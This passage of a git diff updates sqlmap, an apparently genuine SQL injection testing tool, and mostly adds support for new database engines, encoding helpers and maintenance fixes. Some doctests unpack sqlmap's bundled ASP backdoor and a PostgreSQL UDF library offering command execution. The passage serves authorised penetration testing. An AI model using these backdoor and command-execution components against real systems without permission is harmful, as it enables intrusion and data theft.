getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS:" @@ -3995,7 +4105,7 @@ def _thread(regex): thread.start() thread.join(REFLECTED_REPLACEMENT_TIMEOUT) - if thread.isAlive(): + if thread.is_alive(): kb.reflectiveMechanism = False retVal = content if not suppressWarning: @@ -4074,25 +4184,27 @@ def safeSQLIdentificatorNaming(name, isTable=False): if _: retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) - if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) - retVal = unsafeSQLIdentificatorNaming(retVal) - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) - retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX): - retVal = "\"%s\"" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): - retVal = "\"%s\"" % retVal.upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - if isTable: - parts = retVal.split('.', 1) - for i in xrange(len(parts)): - if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords): - parts[i] = "[%s]" % parts[i] - retVal = '.'.join(parts) - else: - if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords: - retVal = "[%s]" % retVal + # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf) + if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) + if not conf.noEscape: + retVal = unsafeSQLIdentificatorNaming(retVal) + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) + retVal = "`%s`" % retVal + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE): + retVal = "\"%s\"" % retVal + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + retVal = "\"%s\"" % retVal.upper() + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if isTable: + parts = retVal.split('.', 1) + for i in xrange(len(parts)): + if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords): + parts[i] = "[%s]" % parts[i] + retVal = '.'.join(parts) + else: + if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords: + retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) @@ -4115,11 +4227,11 @@ def unsafeSQLIdentificatorNaming(name): retVal = name if isinstance(name, six.string_types): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = name.replace("\"", "").upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") @@ -4679,7 +4791,7 @@ def serializeObject(object_): """ Serializes given object - >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type + >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str True """ @@ -4797,6 +4909,8 @@ def extractExpectedValue(value, expected): True >>> extractExpectedValue('1', EXPECTED.INT) 1 + >>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None + True """ if expected: @@ -4820,8 +4934,10 @@ def extractExpectedValue(value, expected): else: value = None elif expected == EXPECTED.INT: - if isinstance(value, six.string_types): - value = int(value) if value.isdigit() else None + try: + value = int(value) + except: + value = None return value @@ -4882,7 +4998,7 @@ def resetCookieJar(cookieJar): cookieJar.load(cookieJar.filename, ignore_expires=True) for cookie in cookieJar: - if cookie.expires < time.time(): + if getattr(cookie, "expires", MAX_INT) < time.time(): warnMsg = "cookie '%s' has expired" % cookie singleTimeWarnMessage(warnMsg) @@ -4905,6 +5021,14 @@ def decloakToTemp(filename): >>> openFile(_, "rb", encoding=None).read().startswith(b'<%') True >>> os.remove(_) + >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_")) + >>> openFile(_, "rb", encoding=None).read().startswith(b'<%') + True + >>> os.remove(_) + >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_")) + >>> b'sys_eval' in openFile(_, "rb", encoding=None).read() + True + >>> os.remove(_) """ content = decloak(filename) @@ -4938,6 +5062,12 @@ def getRequestHeader(request, name): Solving an issue with an urllib2 Request header case sensitivity # Reference: http://bugs.python.org/issue2275 + + >>> _ = lambda _: _ + >>> _.headers = {"FOO": "BAR"} + >>> _.header_items = lambda: _.headers.items() + >>> getText(getRequestHeader(_, "foo")) + 'BAR' """ retVal = None @@ -5035,6 +5165,13 @@ def pollProcess(process, suppress_errors=False): def parseRequestFile(reqFile, checkParams=True): """ Parses WebScarab and Burp logs and adds results to the target URL list + + >>> handle, reqFile = tempfile.mkstemp(suffix=".req") + >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n" + >>> _ = os.write(handle, content) + >>> os.close(handle) + >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com'))) + True """ def _parseWebScarabLog(content): @@ -5153,6 +5290,11 @@ def _parseBurpLog(content): key, value = line.split(":", 1) value = value.strip().replace("\r", "").replace("\n", "") + # Note: overriding values with --headers '...' + match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "") + if match: + key, value = match.groups() + # Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper(): cookie = value @@ -5172,7 +5314,7 @@ def _parseBurpLog(content): params = True # Avoid proxy and connection type related headers - elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): + elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH): headers.append((getUnicode(key), getUnicode(value))) if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): diff --git a/lib/core/compat.py b/lib/core/compat.py index 78572c762a9..6c3f4b7bd30 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -186,7 +186,19 @@ def cmp(a, b): # Reference: https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py def choose_boundary(): - return uuid.uuid4().hex + """ + >>> len(choose_boundary()) == 32 + True + """ + + retval = "" + + try: + retval = uuid.uuid4().hex + except AttributeError: + retval = "".join(random.sample("0123456789abcdef", 1)[0] for _ in xrange(32)) + + return retval # Reference: http://python3porting.com/differences.html def round(x, d=0): diff --git a/lib/core/convert.py b/lib/core/convert.py index 4eadbf968c3..ec338eb4b36 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -48,16 +48,16 @@ def base64pickle(value): retVal = None try: - retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL)) + retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False) except: warnMsg = "problem occurred while serializing " warnMsg += "instance of a type '%s'" % type(value) singleTimeWarnMessage(warnMsg) try: - retVal = encodeBase64(pickle.dumps(value)) + retVal = encodeBase64(pickle.dumps(value), binary=False) except: - retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL)) + retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False) return retVal @@ -95,7 +95,7 @@ def htmlUnescape(value): try: retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal) - except ValueError: + except (ValueError, OverflowError): pass return retVal @@ -198,8 +198,32 @@ def decodeBase64(value, binary=True, encoding=None): True >>> decodeBase64("MTIz", binary=False) '123' + >>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE") + True + >>> decodeBase64(b"MTIzNA") == b"1234" + True + >>> decodeBase64("MTIzNA") == b"1234" + True + >>> decodeBase64("MTIzNA==") == b"1234" + True """ + if value is None: + return None + + padding = b'=' if isinstance(value, bytes) else '=' + + # Reference: https://stackoverflow.com/a/49459036 + if not value.endswith(padding): + value += 3 * padding + + # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications + # Reference: https://perldoc.perl.org/MIME/Base64.html + if isinstance(value, bytes): + value = value.replace(b'-', b'+').replace(b'_', b'/') + else: + value = value.replace('-', '+').replace('_', '/') + retVal = base64.b64decode(value) if not binary: @@ -207,16 +231,23 @@ def decodeBase64(value, binary=True, encoding=None): return retVal -def encodeBase64(value, binary=True, encoding=None): +def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False): """ Returns a decoded representation of provided Base64 value >>> encodeBase64(b"123") == b"MTIz" True - >>> encodeBase64(u"123", binary=False) - 'MTIz' + >>> encodeBase64(u"1234", binary=False) + 'MTIzNA==' + >>> encodeBase64(u"1234", binary=False, padding=False) + 'MTIzNA' + >>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True) + 'A-B_CDE' """ + if value is None: + return None + if isinstance(value, six.text_type): value = value.encode(encoding or UNICODE_ENCODING) @@ -225,9 +256,22 @@ def encodeBase64(value, binary=True, encoding=None): if not binary: retVal = getText(retVal, encoding) + if safe: + padding = False + + # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications + # Reference: https://perldoc.perl.org/MIME/Base64.html + if isinstance(retVal, bytes): + retVal = retVal.replace(b'+', b'-').replace(b'/', b'_') + else: + retVal = retVal.replace('+', '-').replace('/', '_') + + if not padding: + retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=') + return retVal -def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True): +def getBytes(value, encoding=None, errors="strict", unsafe=True): """ Returns byte representation of provided Unicode value @@ -237,9 +281,12 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True): retVal = value + if encoding is None: + encoding = conf.get("encoding") or UNICODE_ENCODING + try: codecs.lookup(encoding) - except LookupError: + except (LookupError, TypeError): encoding = UNICODE_ENCODING if isinstance(value, six.text_type): @@ -253,7 +300,10 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True): if unsafe: retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal) else: - retVal = value.encode(encoding, errors) + try: + retVal = value.encode(encoding, errors) + except UnicodeError: + retVal = value.encode(UNICODE_ENCODING, errors="replace") if unsafe: retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal) @@ -300,7 +350,7 @@ def getUnicode(value, encoding=None, noneToNull=False): for candidate in candidates: try: return six.text_type(value, candidate) - except UnicodeDecodeError: + except (UnicodeDecodeError, LookupError): pass try: diff --git a/lib/core/data.py b/lib/core/data.py index ffd460ae035..4165404438a 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index b6cbc5441d9..9b675443117 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 33a7a074f84..a7243f04a35 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -28,7 +28,7 @@ def cachedmethod(f): >>> __ = cachedmethod(lambda *args, **kwargs: args[0]) >>> __(2) 2 - >>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0]) + >>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values()))) >>> __(foobar=3) 3 @@ -39,16 +39,19 @@ def cachedmethod(f): @functools.wraps(f) def _f(*args, **kwargs): - key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff - try: - with _cache_lock: - result = _cache[f][key] - except KeyError: + key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff + except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value) result = f(*args, **kwargs) - - with _cache_lock: - _cache[f][key] = result + else: + try: + with _cache_lock: + result = _cache[f][key] + except KeyError: + result = f(*args, **kwargs) + + with _cache_lock: + _cache[f][key] = result return result diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 0dcdd076cc3..94713e0e689 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -15,6 +15,7 @@ "delay": 0, "timeout": 30, "retries": 3, + "csrfRetries": 0, "saFreq": 0, "threads": 1, "level": 1, diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 4e0f07bef27..7d6d0f04dfe 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -10,20 +10,32 @@ from lib.core.enums import OS from lib.core.enums import POST_HINT from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import BLANK +from lib.core.settings import CACHE_ALIASES +from lib.core.settings import CRATEDB_ALIASES +from lib.core.settings import CUBRID_ALIASES from lib.core.settings import DB2_ALIASES +from lib.core.settings import DERBY_ALIASES +from lib.core.settings import EXTREMEDB_ALIASES from lib.core.settings import FIREBIRD_ALIASES +from lib.core.settings import FRONTBASE_ALIASES from lib.core.settings import H2_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES +from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MIMERSQL_ALIASES +from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import NULL from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import PRESTO_ALIASES from lib.core.settings import SQLITE_ALIASES from lib.core.settings import SYBASE_ALIASES +from lib.core.settings import VERTICA_ALIASES FIREBIRD_TYPES = { 261: "BLOB", @@ -108,6 +120,28 @@ 20: "image", } +ALTIBASE_TYPES = { + 1: "CHAR", + 12: "VARCHAR", + -8: "NCHAR", + -9: "NVARCHAR", + 2: "NUMERIC", + 6: "FLOAT", + 8: "DOUBLE", + 7: "REAL", + -5: "BIGINT", + 4: "INTEGER", + 5: "SMALLINT", + 9: "DATE", + 30: "BLOB", + 40: "CLOB", + 20001: "BYTE", + 20002: "NIBBLE", + -7: "BIT", + -100: "VARBIT", + 10003: "GEOMETRY", +} + MYSQL_PRIVS = { 1: "select_priv", 2: "insert_priv", @@ -198,8 +232,21 @@ DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), DBMS.H2: (H2_ALIASES, None, None, None), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), + DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), + DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), + DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), + DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), + DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), + DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), + DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), + DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"), + DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), + DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), + DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None), + DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None), } +# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ FROM_DUMMY_TABLE = { DBMS.ORACLE: " FROM DUAL", DBMS.ACCESS: " FROM MSysAccessObjects", @@ -207,7 +254,32 @@ DBMS.MAXDB: " FROM VERSIONS", DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", - DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL" + DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", + DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1", + DBMS.MIMERSQL: " FROM SYSTEM.ONEROW", + DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS" +} + +HEURISTIC_NULL_EVAL = { + DBMS.ACCESS: "CVAR(NULL)", + DBMS.MAXDB: "ALPHA(NULL)", + DBMS.MSSQL: "DIFFERENCE(NULL,NULL)", + DBMS.MYSQL: "QUARTER(NULL)", + DBMS.ORACLE: "INSTR2(NULL,NULL)", + DBMS.PGSQL: "QUOTE_IDENT(NULL)", + DBMS.SQLITE: "UNLIKELY(NULL)", + DBMS.H2: "STRINGTOUTF8(NULL)", + DBMS.MONETDB: "CODE(NULL)", + DBMS.DERBY: "NULLIF(USER,SESSION_USER)", + DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)", + DBMS.MCKOI: "TONUMBER(NULL)", + DBMS.PRESTO: "FROM_HEX(NULL)", + DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", + DBMS.MIMERSQL: "ASCII_CHAR(256)", + DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite + DBMS.CUBRID: "(NULL SETEQ NULL)", + DBMS.CACHE: "%SQLUPPER NULL", + DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", } SQL_STATEMENTS = { diff --git a/lib/core/dump.py b/lib/core/dump.py index e76b60c678a..a9d0d81d42d 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -72,7 +72,7 @@ def _write(self, data, newline=True, console=True, content_type=None): text = "%s%s" % (data, "\n" if newline else " ") if conf.api: - dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE) + dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE) elif console: dataToStdout(text) @@ -107,9 +107,6 @@ def setOutputFile(self): errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) - def getOutputFile(self): - return self._outputFile - def singleString(self, data, content_type=None): self._write(data, content_type=content_type) @@ -167,10 +164,10 @@ def currentUser(self, data): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): - if Backend.isDbms(DBMS.MAXDB): - self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): - self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB): + self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) @@ -244,7 +241,7 @@ def dbTables(self, dbTables): lines = "-" * (int(maxlength) + 2) for db, tables in dbTables.items(): - tables.sort() + tables = sorted(filter(None, tables)) self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") @@ -641,7 +638,7 @@ def dbTableValues(self, tableValues): if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() - logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath)) + logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath)) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: diff --git a/lib/core/enums.py b/lib/core/enums.py index 3ab83f54086..aedf1934ee0 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -42,9 +42,21 @@ class DBMS(object): PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" + INFORMIX = "Informix" HSQLDB = "HSQLDB" H2 = "H2" - INFORMIX = "Informix" + MONETDB = "MonetDB" + DERBY = "Apache Derby" + VERTICA = "Vertica" + MCKOI = "Mckoi" + PRESTO = "Presto" + ALTIBASE = "Altibase" + MIMERSQL = "MimerSQL" + CRATEDB = "CrateDB" + CUBRID = "Cubrid" + CACHE = "InterSystems Cache" + EXTREMEDB = "eXtremeDB" + FRONTBASE = "FrontBase" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -60,6 +72,33 @@ class DBMS_DIRECTORY_NAME(object): HSQLDB = "hsqldb" H2 = "h2" INFORMIX = "informix" + MONETDB = "monetdb" + DERBY = "derby" + VERTICA = "vertica" + MCKOI = "mckoi" + PRESTO = "presto" + ALTIBASE = "altibase" + MIMERSQL = "mimersql" + CRATEDB = "cratedb" + CUBRID = "cubrid" + CACHE = "cache" + EXTREMEDB = "extremedb" + FRONTBASE = "frontbase" + +class FORK(object): + MARIADB = "MariaDB" + MEMSQL = "MemSQL" + PERCONA = "Percona" + COCKROACHDB = "CockroachDB" + TIDB = "TiDB" + REDSHIFT = "Amazon Redshift" + GREENPLUM = "Greenplum" + DRIZZLE = "Drizzle" + IGNITE = "Apache Ignite" + AURORA = "Aurora" + ENTERPRISEDB = "EnterpriseDB" + YELLOWBRICK = "Yellowbrick" + IRIS = "Iris" class CUSTOM_LOGGING(object): PAYLOAD = 9 @@ -138,7 +177,7 @@ class HASH(object): SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' - WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z' + PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z' APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z' @@ -200,6 +239,7 @@ class HTTP_HEADER(object): EXPIRES = "Expires" HOST = "Host" IF_MODIFIED_SINCE = "If-Modified-Since" + IF_NONE_MATCH = "If-None-Match" LAST_MODIFIED = "Last-Modified" LOCATION = "Location" PRAGMA = "Pragma" @@ -389,3 +429,8 @@ class TIMEOUT_STATE(object): class HINT(object): PREPEND = 0 APPEND = 1 + +class FUZZ_UNION_COLUMN: + STRING = "" + INTEGER = "" + NULL = "NULL" diff --git a/lib/core/exception.py b/lib/core/exception.py index 83013473ae4..184ed994924 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/gui.py b/lib/core/gui.py index 85885b7914a..efb5b2e54be 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -29,6 +29,7 @@ from lib.core.settings import WIKI_PAGE from thirdparty.six.moves import queue as _queue +alive = None line = "" process = None queue = None @@ -186,7 +187,7 @@ def enqueue(stream, queue): center(top) - while alive: + while True: line = "" try: # line = queue.get_nowait() @@ -196,6 +197,9 @@ def enqueue(stream, queue): text.see(_tkinter.END) text.update_idletasks() + if not alive: + break + menubar = _tkinter.Menu(window) filemenu = _tkinter.Menu(menubar, tearoff=0) @@ -213,7 +217,7 @@ def enqueue(stream, queue): helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2020\n\n (%s)" % DEV_EMAIL_ADDRESS)) + helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2021\n\n (%s)" % DEV_EMAIL_ADDRESS)) menubar.add_cascade(label="Help", menu=helpmenu) window.config(menu=menubar) diff --git a/lib/core/log.py b/lib/core/log.py index 3ab750e1e90..259338e766a 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,11 